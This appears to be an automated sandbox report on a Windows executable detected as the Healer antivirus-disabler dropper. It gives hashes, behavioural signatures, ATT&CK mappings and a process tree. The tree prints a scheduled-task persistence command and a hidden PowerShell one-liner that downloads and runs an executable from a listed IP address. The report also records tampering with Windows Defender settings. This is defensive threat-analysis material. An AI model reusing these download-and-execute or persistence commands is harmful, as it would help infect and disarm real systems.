Overview

overview

10

Static

static

5

3522d8fe0b...90.exe

windows7-x64

10

3522d8fe0b...90.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    18-02-2025 21:53

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General

  • Target

    3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390.exe

  • Size

    938KB

  • MD5

    f8363b39122ec442ddf9d5064da011dd

  • SHA1

    edc3a725b2e83e15d7f002b8fd249348e7725737

  • SHA256

    3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390

  • SHA512

    e9e4eb4675ab3f5ec8653f5b131b3d2f4c74b4bf2208fceecf87b707e54adbb8107b5ce4f3339297e88f58aaf1bce46ed1631ae03e99f8143672e1c264392a3c

  • SSDEEP

    24576:6qDEvCTbMWu7rQYlBQcBiT6rprG8aeKl:6TvC/MTQYxsWR7aeK

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390.exe
    "C:\Users\Admin\AppData\Local\Temp\3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn Tk6Y4ma2Yzf /tr "mshta C:\Users\Admin\AppData\Local\Temp\iaruH3oP3.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2848
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn Tk6Y4ma2Yzf /tr "mshta C:\Users\Admin\AppData\Local\Temp\iaruH3oP3.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2836
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\iaruH3oP3.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'NGBFWVIE691TLS0A1DW3KFKNQI2Q9X2B.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2960
        • C:\Users\Admin\AppData\Local\TempNGBFWVIE691TLS0A1DW3KFKNQI2Q9X2B.EXE
          "C:\Users\Admin\AppData\Local\TempNGBFWVIE691TLS0A1DW3KFKNQI2Q9X2B.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

6
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

3
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\iaruH3oP3.hta
    Filesize

    726B

    MD5

    f28ca9a060f96d255797e12ae6811a50

    SHA1

    ffbef223a2b4e602822d171f610fe1b2e2975f8d

    SHA256

    99976274136387ac6da3ddb38770a609d37975cc8a2658052383f41477da7e55

    SHA512

    6b28b3d33de582147959c03e4054587efb88e2f5c95d54c5a6058c96306b1d8825537b7556ed3b9604dbd7f51ada232998a7bb509037bc76001ce3398793bb64

    Download Submit

  • \Users\Admin\AppData\Local\TempNGBFWVIE691TLS0A1DW3KFKNQI2Q9X2B.EXE
    Filesize

    1.7MB

    MD5

    7484497cd31ac2475808772a30efd8fa

    SHA1

    6e1e52d91ec5789bc69ef7a558482bb309b4941d

    SHA256

    4532c7f02d37367f66b795ae3f7e1b84fb1d99e7ec10babeb696a1dc35d371dd

    SHA512

    8ea28fe59f941b2fb9c6112bae5df59b249280daaa909b968411ed4b95fe23a041194ac26ea9d3ac4a628197960a44e46825e29a9ee9042c12acec7a16d228ce

    Download Submit

  • memory/2708-14-0x0000000000A60000-0x0000000000ECC000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2708-15-0x0000000000A60000-0x0000000000ECC000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2708-18-0x0000000000A60000-0x0000000000ECC000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2960-13-0x0000000006130000-0x000000000659C000-memory.dmp

    Filesize

    4.4MB

    Download